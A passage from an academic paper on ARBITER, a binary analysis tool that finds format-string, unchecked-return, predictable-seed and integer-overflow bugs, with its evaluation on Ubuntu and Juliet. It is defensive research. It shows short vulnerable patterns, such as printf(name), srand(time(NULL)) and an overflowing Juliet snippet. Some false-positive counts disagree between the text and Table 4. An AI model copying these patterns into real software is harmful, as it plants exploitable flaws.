CWE-676 Use of Potentially Dangerous Function 3 3 3 * 1st arg. of strcpy() CVE-2011-0712
CWE-120 Buffer Copy without Checking Size of Input (“Classic Buffer

Overflow”)
3 3 3 2nd arg. of read() 1st arg. of memcpy() CVE-2003-0595

Table 3: Example candidate vulnerability classes that ARBITER supports with sample sources and sinks. The green background indicates a deterministically
matched property. The yellow background indicates a conditionally matched property. P1 refers to data-flow vulnerabilities, P2 refers to easily identifiable
sources and sinks and P3 refers to control-flow-determined aliasing. In this paper, we specifically explore the automatic detection CWE’s 131, 134, 252 and 337.

3.2 CWE-252: Unchecked Return Values

Vulnerabilities can occur if a program does not properly han-
dle an error. These vulnerabilities can provide an attacker
with a range of capabilities from Denial-Of-Service to Privi-
lege Escalation [21]. A typical attack vector is a vulnerability
in a program that tries to drop privileges to an unprivileged
user after a privileged initialization phase. If the return value
from the privilege reduction (i.e., setuid) is not checked, the
program may be vulnerable.

Occurrence. These flaws can occur whenever developers
omit return value checks for code that can, but almost never
does, fail. Aside from setuid and similar functions, this
includes frequently used functionality such as mmap, open,
close, and so on.

Static sources and sinks. We decided to focus on sys-
tem calls that have clear security implications, resulting
in the following list of sources: access, chdir, chown,
chroot, mmap, prctl, setgid, setsid, setpgid, setreuid,
setregid, setresuid, setresgid, setrlimit, and stat.
This list is trivially expandable. For sinks, we used the return
block of the function (in the binary being analyzed) that is
calling the system call’s corresponding libc API.

Static data flow. To catch cases where the return value was
discarded (a common cause of this vulnerability), the data
flow specification must capture all flows of the API return
value from the source, including those where the return value
of the caller did not depend on the system call return value.

Dynamic symbolic constraints. The return value of our cho-
sen APIs can either be −1 for error, or something else, for
success. ARBITER’s ability to reason symbolically allows us
to craft a powerful vulnerability constraint for this applica-
tion: If, at the end of the function, DSE identifies states where
the return value from the API call can be either success or
failure, then there was no check to constrain the value, and an
unchecked return value vulnerability exists.

3.3 CWE-134: Uncontrolled Format String

Formatting functions, such as printf(), determine the num-
ber of arguments at runtime based on a format string. This
format string, as a required function argument, contains both
ordinary characters (printed verbatim) and format directives,
which specify arguments to be printed, copied, or modified.
If a user can control the format directives, they can often use
this capability to disclose or overwrite memory values and
compromise the security of the program.

Occurrence. These flaws can potentially occur whenever
a format string is not constant. This can be the result of
lazy programming practices (i.e., printf(name); instead
of printf("%s", name);) or of insufficient filtering in the
dynamic construction of format strings. The former frequently
occurs in lesser-exercised paths (especially error logging).
Static sources and sinks. We used the set of libc func-
tions that would be affected by format string vulnerabilities
as sinks. These are printf, fprintf, asprintf, dprintf,
sprintf, snprintf, vasprintf, vfprintf, vsprintf, and
vsnprintf. The sources, in turn, are arguments to the wrap-
per function that calls the identified sinks.
Static data flow. The data flow specification for this vulnera-
bility is simple: we can statically recover all flows from the
sources to the sinks, and then reason about them symbolically.
Dynamic symbolic constraints. The dynamic symbolic con-
straints for this vulnerability check whether the format string
used in a sink is a constant or not. If this format string is not
a constant, this is flagged as a potential bug.

3.4 CWE-337: Predictable Seed in PRNG

The security of a Pseudo-Random Number Generator (PRNG)
depends on the unpredictability of its seed. If an attacker can
predict this seed then, regardless of the quality of the PRNG,
they can determine the random values used by the program. If
these random values are used for security-critical operations,
the attacker might be able to violate security.
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Occurrence. Unfortunately, a common practice, is to use the
current time (in seconds) to seed the PRNG. This makes the
random seed predictable, and is responsible for a number
of real-world vulnerabilities. Similar common anti-patterns
involve the use of process IDs as seeds. These IDs are pre-
dictably increasing, also making them poor choices of seeds.
Static data flow. The data flow specification for this vulnera-
bility is simple: we can statically recover all flows from the
sources to the sinks, and then reason about them symbolically.
While previous vulnerability classes used constant values as
negatives, they are treated as positives here.
Dynamic symbolic constraints. DSE is used to confirm the
results of the data flow analysis and establish a data flow
between the sources and the sinks. There are no additional
constraints that need to be applied.

4 ARBITER Analysis Framework

The properties identified in Section 3 enable the effective
combination of static and dynamic approaches into ARBITER.
In this section, we provide an overview of the ARBITER ap-
proach, and discuss, at a high level, how it detects PC vulner-
abilities in binary programs.

Figure 1 shows an overview of ARBITER. At a high level,
ARBITER combines scalable static analysis techniques with
precise DSE techniques. The former allows it to identify a
superset of PC vulnerability candidates in the program being
analyzed, while the latter acts as a filter for false positives,
configurable between precision and scalability. ARBITER
functions fully on binary code, and, while its underpinning
concepts are well-studied in source code, their use on binary
code required several innovative analysis improvements.

Input: The Binary. To analyze binary code, ARBITER needs
the binary in question. Unlike purely dynamic analyses (such
as fuzzing), the provided binary does not need to be runnable.
Input: Vulnerability Description. As discussed in Section 3,
PC vulnerabilities have certain properties that can be used to
detect them with static analysis. These properties are provided
to ARBITER as a Vulnerability Description (VD). A VD is
a programmatic representation of the static and symbolic
artifact descriptions in Section 3 (e.g., Section 3.1 for CWE-
131 and Section 3.2 for CWE-252). Other PC vulnerability
classes can be added through the creation of a VD.
Identifying vulnerable flows. ARBITER uses a combination
of techniques to identify flows potentially satisfying the VD
in the binary. It first searches for VD subjects on a recovered
Control Flow Graph, then queries a computed Data Depen-
dency Graph to identify data flows between these subjects
matching the provided VD. ARBITER computes paths repre-
senting these flows, and promotes these to the next step. This
process is described in Section 5.
Verifying vulnerable conditions. ARBITER uses Under-
Constrained Symbolic Execution (UCSE) to execute the pro-

vided paths and recover symbolic data relationships between
the source and sink. If this relationship satisfies the constraints
described in the provided VD, the path is promoted to the next
step. This process is described in Section 6.
Reducing context-based false positives. ARBITER limits
the context sensitivity of its static analysis to achieve scala-
bility. As a result, the data flow detected for a Vulnerability
Candidate might be missing constraints that would be present
with a higher context sensitivity, resulting in a false positive
detection. To alleviate this problem, ARBITER computes a
slice from the detected sink with a higher context sensitivity,
and symbolically executes it to identify missing constraints.
By increasing the context sensitivity level in this step, AR-
BITER trades scalability for precision. If ARBITER cannot
identify any constraints to invalidate an extant Vulnerability
Candidate, that candidate will be reported to the analyst as an
alert. This process is described in Section 7.

5 Identifying Vulnerable Flows

Taking a CFG and a VD as input, ARBITER builds and queries
a data dependency graph (DDG) with respect to the vulnerabil-
ity sources/sinks specified in the VD. The resulting candidate
vulnerable data flows will be verified by the dynamic analysis
component of ARBITER. This section will focus on the unique
static data flow tracking technique that drives ARBITER, how
the DDG is created, and how vulnerable data flow candidates
are identified.

5.1 Precise Static Data Flow Tracking
Graph-based and taint-based static analyses were used to find
taint-style vulnerabilities in both source code and binary code.
While PC vulnerabilities are similar, reasoning about them
may require more precision during data-flow tracking. AR-
BITER does this with a novel static data flow tracking tech-
nique, named SymDFT, that focuses on precision and scalabil-
ity while sacrificing soundness. Given any starting point (usu-
ally the beginning of a function), SymDFT statically emulates
the basic blocks in a context-sensitive and path-sensitive man-
ner, and models registers, memory (as a flat memory model
that covers global regions, stack, and heap), syscalls, and ac-
cesses to and from file descriptors (this captures accesses to
file and network sockets). SymDFT achieves high precision
of modeled data by using a symbolic domain, i.e., tracking
unknown variables and symbolic expressions during analysis.
Next we detail the key design decisions of SymDFT.

Traversal policy. On a function level, SymDFT traverses the
basic blocks inside the function in topological order, which
ensures a block is always visited after all its predecessors are
visited. Once a call to a callee is encountered, SymDFT will
analyze the callee function and use the returned abstract state
to proceed the analysis at the return site.
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Figure 1: ARBITER’s workflow. ARBITER discovers vulnerabilities in three steps: identifying vulnerable flows, verifying conditions, and reducing false positives.

Branching policy. SymDFT incorporates an idea underpinning
forced execution and blanket execution [12]: At each branch-
ing point it forks the abstract state and follows all branches,
regardless of branch feasibility: SymDFT collects symbolic
path predicates (i.e., symbolic constraints) as the emulation
progresses, but it does not evaluate the satisfiability of these
constraints. While this sacrifices precision, ARBITER restores
precision in the verification step described in Section 6.
State merging policy. Abstract states at the same binary ad-
dress are merged immediately, where each state is assigned
a merging label, and the concrete and symbolic expressions
are merged into a form of an if-then-else expression with the
merging labels being the conditions.
Termination. To ensure analysis termination, SymDFT em-
ploys an aggressive termination strategy: (1) When the call
depth exceeds 2 functions, SymDFT forges an abstract return
value instead of analyzing the callee and (2) Each loop is
visited at most 3 times. This aggressive termination strategy
trades a decrease in soundness and precision for scalability.

5.2 Building DDGs and Extracting Flows

ARBITER first identifies sources or sinks on the CFG and
recognizes the relevant functions. Then ARBITER builds a
DDG for the function containing each source or sink. Note
that these DDGs do not include any of the callers, which will
be further discussed in Section 7. Knowing sources and sinks,
identifying all vulnerable data flows on a DDG is as trivial as
traversing from sources or sinks and generate subgraphs.

When only sinks are described in the VD, ARBITER builds
a DDG for each function (and callees) where sinks are found,
instead of building a full-program DDG covering all potential
input sources. This significantly improves scalability of DDG
generation and vulnerable flow identification at the cost of
precision, which ARBITER corrects in the verification step.

6 Verifying Vulnerable Flows

Candidate vulnerability data flows collected during static anal-
ysis are not necessarily vulnerable because (1) they are un-
satisfiable or (2) the path predicates make the vulnerability

untriggerable even if the flow is valid. ARBITER uses under-
constrained symbolic execution to verify each candidate data
flow and eliminate those unsatisfiable or not vulnerable.

6.1 Under-Constrained Symbolic Execution

Due to incomplete CFGs and the dynamic coverage problem,
ARBITER usually cannot derive a feasible execution path that
starts from the entry point of the target binary and reaches the
vulnerability sink. Instead, binary program slices that candi-
date data flows correspond to usually do not include code that
is necessary for program state initialization. In source-based
analyses, under-constrained symbolic execution (UCSE) is
a viable approach to performing DSE on incomplete pro-
gram states [13, 29]. UCSE allows symbolic execution of
arbitrary functions without initializing data structures or mod-
eling environments. All values that are not available in the
incomplete state (e.g., missing parameters and unknown re-
turn values from callees) are deemed as under-constrained
variables. When an under-constrained variable is used as a
pointer, UCSE will initialize the variable as a pointer that
points to a freshly allocated memory region with the same
size the pointer type specifies. If the variable is not used as
a pointer, an under-constrained variable will be more con-
strained with symbolic constraints applied to it.

In ARBITER, we extend UCSE to support binary code.
UCSE fundamentally suffers from the aliasing problem by
assuming under-constrained pointers do not point to any exist-
ing objects (or in binaries, any allocated regions in memory).
Luckily, P3 in PC vulnerabilities dictates that no aliasing rela-
tionships that are uncaught by the control flow exists, which
sidesteps the aliasing problem in UCSE.

Two challenges arise because type information is unavail-
able on stripped binaries. We present them and our solutions.

Shadow memory allocation. Due to lack of type informa-
tion, UCSE does not know the size of the memory region to
allocate. In ARBITER, UCSE does not determine the sizes of
the memory regions that are allocated for under-constrained
pointers. Instead, we assume each under-constrained pointer
points to a shadow memory region that is completely isolated
from the stack, the heap, and other shadow memory regions.
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All pointers derived from an under-constrained pointer can
only be used to access the same shadow region.
Adding necessary constraints. UCSE on source code relies
on information about sizes of variables for constraining point-
ers (to within the variable) and finding violations (when a
pointer access goes beyond the range of the variable it should
point to). Such information is unavailable on binary code,
making constraining pointers and variables difficult, and cer-
tain memory accesses caused by under-constrained pointers
or variables may corrupt critical data structures on the stack
or in the global region (e.g., a fully constrained pointer, a
stored return address, etc.), which will lead to unsound sym-
bolic states that do not exist during execution. Hence, our
UCSE aggressively adds constraints to variables and pointers
so that key data on the stack or in the global region cannot
be overwritten. Note that this way, our UCSE will not find
vulnerabilities (e.g., stack buffer overflows) that involve over-
writing these critical data structures, but such vulnerabilities
are not within PC and are thus outside the scope.

6.2 Collecting Data Flow Constraints

For each candidate vulnerability data flow, ARBITER runs
UCSE on a program slice that is generated by traversing the
CFG from each sink. At the sink, ARBITER extracts the sym-
bolic expressions that represent data dependencies between
the source and sink and collects path predicates (constraints).
If the constraints corresponding to the VD are satisfiable,
ARBITER reports a potential VD violation.

7 Adaptive False Positive Reduction

Despite the satisfiability filtering of candidate vulnerable data
flows in the UCSE step, the lack of context still leaves a large
number of false positives. Because ARBITER works inside a
function, it does not have context-sensitive information that
might influence the control- and data-flow of a function.

We filter out false positives by increasing the analysis con-
text once a vulnerability is detected in a smaller context.
ARBITER recursively identifies all call sites of the current
function and proceeds to analyze in the context of the calling
frames. ARBITER recursively continues to expand the context
caller by caller until a predefined recursion limit is reached.

The recursion limit can be chosen by the analyst adap-
tively based on the number of reports and time constraints, as
each additional context could lead to an exponential increase
in analysis time. Our results show that each context expan-
sion steps cuts alerts by roughly a factor of two (shown in
Section 8.1), and three reduction steps reduce false positives
sufficiently for results to be manually verified.

Class Alerts True False Positive
Positive VFP DFP UT

CWE-131 436 194 184 11 47
CWE-134 158 12 139 3 4
CWE-252 159 83 15 56 5
CWE-337 377 372 0 2 4

Table 4: Summarizing the results of the different experiments. “VFP” refers
to the number of false positives classified as Vulnerability False Positive.
“DFP” refers to the number of false positives classified as Description False
Positive. “UT” refers to the number of reports that we could not triage due to
software complexity.

8 Evaluation

We performed several experiments to measure the effective-
ness of ARBITER in terms of both its performance and its
ability to identify bugs in real-world software, on a large
scale, while maintaining a high precision. The evaluation
was performed on a Kubernetes cluster of Intel Xeon CPUs
at 2.30GHz, with one core and 4GB of RAM dedicated to
the analysis of each binary. The prototype of ARBITER was
implemented atop angr [38].

We discuss three separate sets of experiments: a perfor-
mance evaluation on the coreutils Linux binaries to mea-
sure the computational cost of different parts of our techniques
(presented in Appendix C), a comparative experiment on the
Juliet program analysis test suite and several other Linux pro-
grams to position ARBITER with respect to state-of-the-art,
and a large-scale evaluation on the Ubuntu 18.04 software
repository (containing 76,516 binaries) to assess ARBITER’s
ability to detect vulnerabilities in the CWE-131, CWE-252,
CWE-337, and CWE-134 vulnerability classes.

8.1 Effectiveness Evaluation
To measure ARBITER’s ability to find bugs in real code,
we performed a large-scale effectiveness evaluation on all
userspace binaries in the x86-64 Ubuntu Linux 18.04 repos-
itories. Out of the 1,852,152 ELF files in the Ubuntu Linux
18.04 repositories, we excluded 1,708,122 kernel modules
(on which ARBITER is not designed to function), and 64,101
symbol-only ELF files (containing debug symbols for other
ELFs)4. The resulting 79,929 ELFs contained 79,343 unique
files. The underlying angr framework failed to process 2,829
of these, leaving us with a final dataset size of 76,516.

We checked each binary against ARBITER’s four imple-
mented VDs: CWE-131, CWE-252, CWE-134, and CWE-
337. Across the four vulnerability classes, with a recursion
limit of three for the Adaptive False Positive Reduction step,
ARBITER raised 1095 alarms. We manually analyzed all of
these 1095 alarms and were able to classify 1036 alarms into
636 True Positives and 400 False Positives. We differenti-
ated the False Positives between false positives stemming

4In our dataset of nearly 65k packages, 600 packages have on average
4,000 kernel object files each.
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from insufficient precision in the analysis (which we term a
Vulnerability False Positive) and false positives due to impre-
cision the VD itself (a Description False Positive)5. The 410
False Positives included 338 Vulnerability False Positives and
72 Description False Positives. For the remaining alerts, we
could not classify them into True or False Positives due to our
unfamiliarity with the applications and their complexity.

Table 4 presents a summary of ARBITER’s alerts. For the
curious reader, we include detailed information about the
numbers of binaries, functions, sinks, paths, and states that
ARBITER dealt with through various stages of its analysis on
the different vulnerability types in Appendix D.

We are responsibly disclosing vulnerabilities to the respec-
tive developers. Appendix A lists public (addressed or WONT-
FIX) vulnerability disclosures. Some vulnerabilities have now
been fixed due to our efforts (e.g., CVE-2018-18311), while
others were vulnerabilities rediscovered by ARBITER but not
yet deployed to Ubuntu repositories (e.g., CVE-2016-5636,
CVE-2017-1000158, and CVE-2020-7105).

Case Studies. We present several case studies of ARBITER’s
findings in Appendix E. One case study is especially interest-
ing involving OCaml.

During our triaging of ARBITER’s CWE-131 alerts, we
found 26 reports where the buggy function was almost iden-
tical. When we checked the source code, we found that the
programs were all written in OCaml, and the OCaml source
code of the functions in question did not contain any buggy
behavior. Upon further investigation, we found that all 26
alerts were caused by a bug introduced during compilation by
the OCaml compiler. We investigated this thoroughly and de-
veloped a Proof of Concept that triggered an integer overflow
and subsequently an out-of-bound heap access that eventually
crashes the program. This bug affects all 32-bit OCaml pro-
grams compiled with affected releases (up to the latest one) of
the OCaml compiler. We disclosed to the OCaml developers,
and they are currently investigating the issue.

8.1.1 CWE-131: Overflows at Allocation Sites

ARBITER raised 436 CWE-131 (Incorrect Calculation of
Buffer Size, described in Section 3.1) alerts in 444 functions
across 366 binaries on our dataset. Through manual static
analysis, we determined that 194 of these were True Positives,
184 were Vulnerability False Positives, and 11 were Descrip-
tion False Positives. We were unable to triage 47 alerts across
34 binaries due to the complexity of the vulnerable code and
our lack of familiarity with the code bases in question.

Description False Positives. 11 alerts reported across 10 bi-
naries show that the predicate we used in our CWE-131 VD
does not always imply the presence of a bug. Our VD goal

5As the VD we used for both experiments were proven incorrect in at least
a few cases, we feel it is important to discuss both types of false positives
separately.

was to model an integer overflow vulnerability in the argu-
ment to an allocation invocation. However, the predicate in
the VD is based on a typical pattern for an integer overflow,
not a specific integer overflow marker. Specifically, the pat-
tern describes the situation of a size variable being passed as
an argument to an allocation wrapper, and overflowing dur-
ing computation, resulting in a smaller variable being passed
to the allocator. In 11 out of 150,077,458 functions in the
Ubuntu dataset this does not hold: a computation performed
by the wrapper function legitimately reduces the allocation
size, without undergoing an integer overflow.

Vulnerability False Positives. We identified several major
reasons for VFPs among the CWE-131 alerts.

Unrealistic Execution Requirements. Triggering some de-
tections may require executing callbacks an unreasonable
number of times. For example, a detection that depends on a
global counter becoming very large might need the function
that increments that global counter to be executed billions of
times, and is thus not triggerable in practice.

Unrealistic Data Requirements. Some alerts are generated
for functions that would suffer an integer overflow when pro-
vided with a string of, e.g., 264 bytes. As such data is infeasible
to produce or transfer, these bugs are not triggerable. By in-
vestigating these cases further, we found that ARBITER raised
alerts in 24 functions across 24 binaries because it assumed
that 264-1 byte-long strings were practical to have in memory.

Dead code. Some detections that appeared to be practical
bugs were in dead code that could not be triggered.

Insufficient analysis context. In some cases, caller func-
tions higher up in the call stack introduce constraints that
make the vulnerability impossible to trigger in practice, but
ARBITER does not analyze to a high enough caller level to
reason about those constraints. For example, the alttab bi-
nary uses LibPNG to load a PNG, and contains a 4-byte
integer overflow caused by image dimensions. Although the
PNG specification allows for PNG height and width up to 232,
LibPNG limits them to 216, making the bug untriggerable.

Signedness side-effects. In situations where an overflowed
integer is sign-extended before being used in an allocation
function, the extended value becomes huge, and the process
exits because the allocation fails.

8.1.2 CWE-252: Unchecked Return Values

In this template, ARBITER symbolically executes paths start-
ing from the sink and tries to reach the end of the function that
contains the sink. Then, during FP reduction, it executes paths
from the outermost caller to the sink and continues execution
until the end of that caller. This differs from the other three
templates where ARBITER only explores from the caller up
until the sink because, in CWE-252, the otherwise-unchecked
return value could later be checked by a caller function.

For security-critical APIs listed in Section 3.2, ARBITER
produced a total of 159 CWE-252 alerts in 135 functions
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across 126 binaries. We manually triaged these to identify 83
True Positives, 139 Vulnerability False Positives, 3 Descrip-
tion False Positives, and 4 alerts that we could not triage.
Description False Positives. Of the filtered list of 159 reports,
we found 53 reports that violated the assumptions we had
made while generating our VD for several reasons.

Atomic operation confusion. There were two detections
where the subject’s return value was overwritten with a default
value using a single instruction cmov, which is a conditional
mov instruction. ARBITER assumed that if a single state can
satisfy either constraint for the return value of the subject, it
must be reported as a bug. However, in these cases, the cmov
instruction did not generate a new state but added a constraint
on the return value of the subject. Our analysis incorrectly
classifies these instances as bugs. Similarly, two other false
positives were caused by setz. We can solve this problem by
modifying the underlying code lifting mechanism to split a
single cmov/setz instruction into two branches.

Unsupported error values. We had assumed that the re-
turn value of the subject could be either SIZE_MAX or
UINT_MAX to return errors as 64- or 32-bit values respec-
tively. Therefore, our VD would check if the value returned
is either SIZE_MAX or UINT_MAX. All sinks VD except
for mmap return UINT_MAX on error, while mmap returns
SIZE_MAX on error. In the case of mmap, both UINT_MAX
and 0 are considered successful return values. Therefore, our
analysis incorrectly labels these cases as True Positives. We
found 52 cases where the return value of mmap was compared
against UINT_MAX and was (incorrectly) reported.
Vulnerability False Positives. In this case, false positives are
usually caused by limitations in ARBITER’s analysis engine.

Duplicate sinks. When a function has more than one sink,
ARBITER would create symbolic expressions for the return
value of each sink. However, the dependency between the sink
and the generated symbolic expression is not preserved. There-
fore, when the return value of one of these sinks is checked
for error and the other is not, the constraints applied on the
unchecked return value would be satisfied. ARBITER incor-
rectly classifies the first sink as the alert location when the
actual alert is linked to the second sink. However, it should be
noted that ARBITER also correctly identifies the alert linked
to the second sink. We found eight instances of such alerts.

Unsupported API functions. When some functions return
an error code, the program will call function __errno_location
to get the address of the errno variable for the current thread.
The program will then dereference the returned address to
retrieve the error code. When __errno_location is invoked,
the address it returns is stored in register rax. But, angr does
not overwrite or clear rax after simulating __errno_location.
This causes ARBITER to assume that the return value of the
sink (instead of the address of errno) is being dereferenced,
and according to the VD for CWE-252, the dereferenced
value must also be checked. ARBITER raises an alert when
the check is missing. We found six such alerts.

Ignoring error checking functions. Recall that for this VD,
in the FP reduction step, ARBITER would symbolically ex-
plore paths from a caller function until the sink after which
it would continue exploring paths that lead to the end of the
caller function. This is different from other VD’s where AR-
BITER only symbolically explores paths from a caller function
up until the sink. The reason is that other VD’s can determine
the existence of a bug at the sink, unlike this VD.

This increase in complexity of the paths explored leads
to a large number of timeouts with each additional level of
FP reduction. Therefore, we used a feature of the underlying
framework that does not symbolically explore calls to any
function after the sink has been invoked. This can lead to
incorrect results if the return value of the sink is passed to a
sub-routine as an argument. If this sub-routine is tasked with
checking the value of its argument, ARBITER will not detect
this check because the sub-routine will not be explored at all.

We found only one case where such a sub-routine was used
to check the return value of the sink.

8.1.3 CWE-337: Predictable Seed in PRNG

ARBITER reported 377 CWE-337 alerts in 372 functions
across 350 binaries. Through manual triaging, we identified
372 True Positives, 2 Description False Positives, and 4 cases
that were too complex to triage.
Description False Positives. These 2 Description False Pos-
itives occurred because a seed used in the call to srand was
generated by combining (e.g., with an xor operation) the re-
turn value of time with a value read from the kernel’s random
number generator (using /dev/urandom). Because our descrip-
tion did not test if anything other than the time was used to
seed the PRNG, ARBITER had no way to filter out these cases.
Vulnerability False Positives. We did not identify a Vulner-
ability False Positives in the results. The common case was
srand(time(NULL));.

8.1.4 CWE-134: Uncontrolled Format String

ARBITER raised 158 CWE-134 (Controlled Format String,
described in Section 3.3) alerts across 139 functions in 119
binaries. Through manual triage, we determined that 12 of
these reports where True Positives, where the user could con-
trol the format string and trigger a format string vulnerability.
However, we found that 142 of these reports did not lead
to a format string vulnerability and therefore are false posi-
tives, mostly (as discussed next) due to insufficient context
information even with 3 levels of FP reduction.
Description False Positives. Among the 142 false positive
reports generated by ARBITER during this experiment, three
were caused due to a violation of the assumptions we made
while generating our VD. Our objective was to find invoca-
tions of the printf family of functions where the format
specifier was not a constant string.
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However, our VD would flag situations where a string
is generated by combining multiple constant strings us-
ing sprintf-like functions. We found 1 situation where
sprintf-like were invoked to write constant strings into a
stack buffer. This stack buffer was then used as the format
specifier for a different sink. Because the stack buffer is not a
constant value, ARBITER flagged such situations as positives.

In another two cases, the format specifier was set to NULL.
Since this value is not considered as a constant string, these
two reports were alerted by ARBITER.

Vulnerability False Positives. 36 false positives were caused
by functions similar to G_gettext and __dcgettext. These
functions translate a text string into the user’s native language.
Because ARBITER lacked this knowledge, it assumed that the
string returned by these functions was not constant.

A majority of the false positives occurred due to insufficient
context information. We found that 103 of the false positive
reports occurred since a caller that was 4 levels (or more) up
the callstack invoked the subsequent functions with a constant
string as the argument. Since our false positive reduction
step only included three level callers, it could not detect these
constants and misclassified them as positives.

8.2 Comparative Evaluation
To understand how ARBITER fits into the current state of
the art, we perform a comparative evaluation across several
experiments. We demonstrate the advantage of ARBITER’s es-
chewing of traditional dynamic analysis by evaluating against
AFL, compare ARBITER against static analysis techniques
that have the advantage of source code access but lack AR-
BITER’s symbolic execution capabilities (CodeQL and Infer),
and use ARBITER to analyze the Juliet static analysis test
suite and identify previously unreported bugs.

8.2.1 ARBITER vs. Dynamic Analysis (AFL)

While the approaches and techniques we used to detect vulner-
abilities are different from the dynamic approach of fuzzing,
a comparative evaluation of a popular fuzzer can demonstrate
strengths that ARBITER provides over fuzzing.

We generated POCs for 25 integer overflow vulnerabili-
ties in 15 binaries that ARBITER had reported, and evaluated
whether AFL is able to find these vulnerabilities. Of these 15
binaries that contain vulnerabilities, only seven are standalone
binaries, with the remainder being shared objects that required
a harness to execute. Two of these seven binaries could not
be run without additional manual environmental configura-
tion, such as GUI/network. For the remaining five, we used
a wrapper that would use the bytes generated by AFL as the
relevant command-line arguments or environment inputs in
order to fuzz them. Because, while creating the POCs for AR-
BITER’s detection, we had already understood the appropriate
command-line argument/environment variable that triggers

the crash, we modified the wrapper to fuzz only that particular
command-line argument/environment variable value.

We ran AFL for 24 hours on one core per binary. In two,
AFL found the same bug as ARBITER. In one, AFL found a
different crash bug than ARBITER, in a different vulnerability
class. In the remaining two, AFL did not find a bug.

When we tried fuzzing these binaries without explicitly
controlling the argument/environment variable that we iden-
tified with ARBITER’s help, AFL could not trigger the crash
after 24 hours of fuzzing each binary.

These results suggest that a combination of fuzzing and the
techniques proposed in ARBITER might be a promising area
of research, though recent trends in hybrid fuzzing research
make that a fairly predictable statement. They also show that
ARBITER does find bugs that AFL misses, and does so without
the need for manual harnessing.

8.2.2 ARBITER vs CodeQL

CodeQL [35] is a source code analysis engine available on
the LGTM [36] platform. We wanted to evaluate whether
CodeQL could detect any of the errors we identified with
ARBITER. The queries that match our two implementations
of ARBITER the closest are Inconsistent operation on return
value and Overflow in uncontrolled allocation size. Note that
CodeQL’s only analysis is in a semantic domain on a source
code level; hence, the queries are fundamentally different
from ARBITER’s symbolic domain.

We found 11 programs with CWE-252 ARBITER alerts
and 54 programs with CWE-131 ARBITER alerts on LGTM.
LGTM identified no inconsistent return value operations and
only one true positive allocation size overflow alert on these
programs. However, it did raise 6 alerts that we matched those
that we manually determined to be false positives and 3 alerts
that matched those we could not effectively triage.

These results show that ARBITER can identify bugs missed
even by source-level analyzers such as CodeQL.

8.2.3 ARBITER vs Infer

Infer is a static program analyzer for Java, C, and Objective-
C, written in OCaml [4, 14]. Internally, Infer uses separation
logic and bi-abduction to reason about bug classes such as null
pointer dereferences, memory leaks, coding conventions, and
unavailable API’s. Unfortunately, in 2017 Infer removed the
support for the bug class of ignored return values [15]. Never-
theless, Infer still supports the detection of integer overflows
in Java, C, and Objective-C programs.

We evaluated Infer on a subset of the integer overflows
for which we created POCs. Four targets have build system
unsupported by Infer, so we ran the tool manually on the
particular source code files. Infer was unable to detect integer
overflows in these targets. We believe that Infer’s separation
logic analysis capabilities are less powerful when it comes
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Listing 1 An example of Juliet v1.3 CWE190 faulty test cases.
1 int goodB2GSink(unsigned int data) {
2 ...
3 if (abs((long)data) < (long)sqrt((double)UINT_MAX)) {
4 unsigned int result = data * data;
5 printUnsignedLine(result);
6 }
7 ...
8 }

to sink-triggered vulnerabilities, only enabling detection of
shallow integer overflow vulnerabilities. This again shows
the strength of ARBITER’s combination of static analysis and
symbolic execution.

8.2.4 ARBITER on Juliet

We evaluated ARBITER’s integer overflow VD against test-
cases in the Juliet Test Suite (v1.3), a synthetically generated
data set created to assess the capabilities of static analysis
tools. Version 1.3 contains many test cases written in C/C++
for multiple CWE types. We adapted our CWE-131 vulner-
ability description CWEs, CWE-680 (Integer Overflow to
Buffer Overflow), and CWE-190 (Integer Overflow), and ex-
panded it to C++ by adding new to our list of sinks. This
represents a total of 15,680 test cases, of which 4,536 have
intentional bugs described by the Juliet documentation.

Description False Negatives. Several test cases (for CWE-
680) initialize variables to constant values that are too large
to be used safely in an arithmetic operation and can lead
to integer overflows. However, ARBITER’s integer overflow
vulnerability description does not reason about constant-value
sources. Thus, we misclassified 52 test cases as negatives
when in fact, Juliet considers them to be bugs.

Signedness adaptation. When reasoning about overflows,
we could determine the signedness of the data involved based
on the type signature of the sink function (i.e., malloc takes
unsigned integers). However, all of our prior sinks used un-
signed integers, while Juliet has provided several signed sinks.

Juliet’s unsigned overflow test cases use the sink
printUnsignedLine, which takes an unsigned argument,
while the signed test cases use the sinks printIntLine,
printHexCharLine and printLongLongLine.

For the unsigned test cases, we used the same constraints
as the integer overflow experiment because the comparison
by default is unsigned. For the signed test cases, we modified
the constraints to use a signed comparison.

Unexpected positives. Examining the results, we found that
several test cases in the Juliet test suite that were classified as
“safe” are, unknowingly to the developers, vulnerable.

A snippet of a faulty test case, performing a square opera-
tion on a 32-bit unsigned integer, is shown in Listing 1. The
code attempts to ensure that the value is small enough to per-
form the square operation without an overflow by computing

Figure 2: The result of evaluating ARBITER on the Juliet Test Suite v1.3
on CWEs 190 and 680. ARBITER found 3,234 True Positives, 1,015 False
Positives, 9,581 True Negatives and 2,580 False Negatives. NP specifies the
190 unexpected “New Positives” that ARBITER found.

Name Genre Source needed Precision Recall

ARBITER Hybrid False 0.77 0.57
CLORIFI [23] Hybrid True 1 0.95
Li et al. [24] Hybrid True 1 0.973

Ribeiro et al. [33] Static True 0.678 0.958
Yang et al. [47] Static False 1 0.995

Table 5: A comparison of strengths and weaknesses of tools that evaluate on
the Juliet data set.

the absolute value of this integer and compares it with an
upper bound.

The absolute value is calculated using the abs function
which accepts a signed integer as argument and returns an-
other signed integer. This conversion of an unsigned data
type to a signed causes a large value to pass the check and
subsequently lead to an overflow. For example, if the value
of data is UINT_MAX (0xFFFFFFFF), the function abs will
return the value 1, passing the size check. The result of the
multiplication is the value 0xFFFFFFFE00000001, resulting
in a 32-bit integer overflow.

ARBITER identified 190 such faulty test cases within the
Juliet test suite. After ensuring that they were actually trigger-
able bugs (by crafting a POC for each), we reported it to the
developers, but have not heard back from them. Through the
rest of this section, we consider these 190 test cases as true
positives in the ground truth.

ARBITER’s results. We ran ARBITER with the Adaptive
False Positive filtering tuned to different levels: 0 (no addi-
tional filtering), 1, and 2. At 0 levels of false positive filtering,
ARBITER reported had 2,411 TP and 2,890 FP. At one level,
the FP count reduced to 2,121, and the TP count reduced to
2,197 (likely as a result of timing out on symbolic tracing of
several paths). At two levels, the TP count increased to 3,234
(because of additional symbolic constraints that increase the
tractability of UCSE), and the FP count fell to 1,015. AR-
BITER achieves a precision of 0.77 and recall of 0.57. We
show the data in Figure 2.
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Literature comparison. There are several tools that evaluate
against the Juliet dataset, and we can directly compare our
results with theirs. We present this comparison in Table 5.

Interestingly, these tools use a diverse set of approaches.
Most of them require source code to function, with source
code being a much more robust area of static analysis (but not,
